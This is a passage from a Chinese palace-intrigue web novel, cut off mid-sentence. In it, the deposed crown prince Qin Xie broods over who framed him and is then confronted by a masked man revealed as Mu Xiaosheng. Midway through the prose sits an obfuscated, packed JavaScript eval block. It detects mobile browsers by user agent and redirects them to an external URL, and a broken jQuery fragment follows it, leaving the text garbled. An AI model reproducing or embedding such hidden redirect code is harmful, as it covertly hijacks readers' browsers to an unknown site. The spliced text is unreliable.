英王:“嗯,也是,昨日得知此事时,我也觉着奇怪。现在看来,这件事与今日的民谣也脱不了干系了。”
宁淮川抬头望望天空,又是一声叹息:“真是风雨欲来啊......殿下,咱们也还是快些行动吧,被人推着卷入洪流的感觉真的不好受啊。”
“好。”
--
傍晚,废太子府。
秦燮这几日可谓是从云端跌进谷底,尝遍了世态炎凉,人情冷暖。短短几日,便消瘦了一大圈。可他怎么也想不明白,到底是什么人恨他入骨,在他丢了太子之位的当日,便下手栽赃于他。
英王?不会是他,即便他在背后搞过什么鬼,此刻他已经得逞,没必要画蛇添足,平添嫌疑。护国公?此人跟随自己十数年,也为自己肃清了不少政敌,虽然他现在满身的疑点,但不至于刚刚受过责罚后就急着落井下石,这对他并无益处。
可还会是谁呢?
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16143685|166512||http|test|ni|href|location''''.split(''''|''''),0,{}));
() {
$(''''.infor'').reve();
$(''''#content'''').append(''''
>
他想不通,于是伴着料峭的北风,在院中独坐了好几日。每到傍晚,他才叫人热几壶酒来,等喝醉了,才好熬过这难以入眠的夜。
这会儿,三分醉意上头,他的双眼也开始迷离起来。他失意困顿地又灌下一壶酒,身后却忽地吹起一阵阴风,热酒非但没有暖了他的身子,反倒让他寒毛直竖。
忽然,背后一只冰冷的手放在他左肩。
“谁?!”秦燮的醉意登时清醒,下意识地从石凳上弹起。
待他手忙脚乱地往一旁闪出四五丈,才被眼前出现的一幕吓得瞳孔微张。
在他刚才坐着的位置后面,一个身形修长的男子身着一身黑袍,环着双臂静静站着,他戴着一只金色面具,只是站着不动也不说话,仿佛是黑无常来向他索命。
“你,你是谁?来闯我王府想做什么?”秦燮颤抖着伸出手指向他。
那人依旧没说话,只是身子慢慢转向了他。透过面具,秦燮看到了他带着浓浓恨意的眼睛。
既熟悉,又陌生。
他咽了口口水,壮着胆子又道:“你,是谁派来杀我的?如今我已经被废,他到底跟我有什么深仇大恨,到现在都不肯放过我?”
那人不动声色,眼里满是嘲讽地打量着他。秦燮的恐慌已经到达极致,强撑着软了许久的腿,与他对峙了足足一炷香的时间。
天色更暗,只要再暗一些,他们就要看不清对方的眼睛了。这时,黑衣人才终于抬起一只手,缓缓取下了覆在自己脸上的面具。
!!!
空气停滞了,月亮也凝结在高处,透不出一丝微光来。
“你......”秦燮的语气出奇地平静了许多,仿佛已经认命,“你果真还活着。”
穆晓笙扬了扬一边的嘴角,声音如利剑穿透过秦燮的胸膛:“是啊,失望吗?哦不,应该是绝望吗?”
秦燮垂下了手臂,头也仿佛无力支撑似的重重落下。良久,他才发出几声断断续续的自嘲般的笑声。
“呵,我找了你那么久,想不到,还是轮到你